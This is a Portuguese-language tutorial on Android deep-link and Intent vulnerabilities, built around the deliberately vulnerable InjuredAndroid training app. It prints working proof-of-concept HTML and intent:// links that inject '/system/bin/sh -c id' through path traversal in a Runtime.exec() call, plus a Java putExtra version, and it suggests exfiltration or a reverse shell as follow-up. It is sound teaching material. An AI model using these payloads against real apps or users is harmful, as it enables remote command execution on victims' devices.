Jump to content
  • Pequenas ligações, grandes vulnerabilidades: Uma breve introdução a deep links em Android

       (0 reviews)

    caioluders
     Share

    Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.

    Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.

    intent://

    Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:

    Intent intent = new Intent();
    intent.setData(Uri.parse("flag13://rce"));
    startActivity(intent);

    Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.

    <intent-filter>

    Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.

    Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml

    <activity
        android:name=".RCEActivity"
        android:label="@string/title_activity_rce"
        android:theme="@style/AppTheme.NoActionBar">
        <intent-filter android:label="filter_view_flag11">
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
            <!-- Accepts URIs that begin with "flag13://” -->
            <data
                android:host="rce"
                android:scheme="flag13" />
        </intent-filter>
    </activity>

    O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.

    O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.

    A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.


    flag13://rce

    Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️

    Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:

    49 if (intent != null && intent.data != null) {
    50     copyAssets()
    51     val data = intent.data
    52     try {
    53         val intentParam = data!!.getQueryParameter("binary")
    54         val binaryParam = data.getQueryParameter("param")
    55         val combinedParam = data.getQueryParameter("combined")
    56         if (combinedParam != null) {
    57             childRef.addListenerForSingleValueEvent(object : ValueEventListener {
    58                 override fun onDataChange(dataSnapshot: DataSnapshot) {
    59                     val value = dataSnapshot.value as String?
    60                     if (combinedParam == value) {
    61                         FlagsOverview.flagThirteenButtonColor = true
    62                         val secure = SecureSharedPrefs()
    63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true)
    64                         correctFlag()
    65                     } else {
    66                         Toast.makeText(this@RCEActivity, "Try again! :D",
    67                                 Toast.LENGTH_SHORT).show()
    68                     }
    69                 }
    70
    71                 override fun onCancelled(databaseError: DatabaseError) {
    72                     Log.e(TAG, "onCancelled", databaseError.toException())
    73                 }
    74             })
    75         }

    A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:

    76 else {
    77
    78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam)
    79     val bufferedReader = BufferedReader(
    80             InputStreamReader(process.inputStream))
    81     val log = StringBuilder()
    82     bufferedReader.forEachLine {
    83         log.append(it)
    84     }
    85     process.waitFor()
    86     val tv = findViewById<TextView>(R.id.RCEView)
    87     tv.text = log.toString()
    88 }

    Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈

    Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.

    Nossa PoC terá os seguintes passos :

    1. Alvo clica num link malicioso.
    2. Browser abre um Intent para b3nac.injuredandroid.RCEActivity.
    3. A Activity RCEActivity executa o comando do atacante.

    Nosso index.html ficaria assim:

    <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a>

    Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉

    S.Intent_Extras

    Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.

    Intent intent = new Intent();
    intent.setData(Uri.parse("flag13://rce"));
    intent.putExtra("binary","../../../../../system/bin/sh -c 'id'");
    intent.putExtra("param","1");
    startActivity(intent);

    Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :

    <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a>

    Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.

    Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:

    if      (uri.startsWith("S.", i)) b.putString(key, value);
    else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
    else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
    else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
    else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
    else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
    else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
    else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
    else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
    else throw new URISyntaxException(uri, "unknown EXTRA type", i);

    ;end

    Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.

    Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.

    Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.

    |-|4ck th3 |>l4n3t 

    @caioluders


    Revisão: Fernando Mercês
    • Curtir 3
    • l33t 1
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


  • Similar Content

×
×
  • Create New...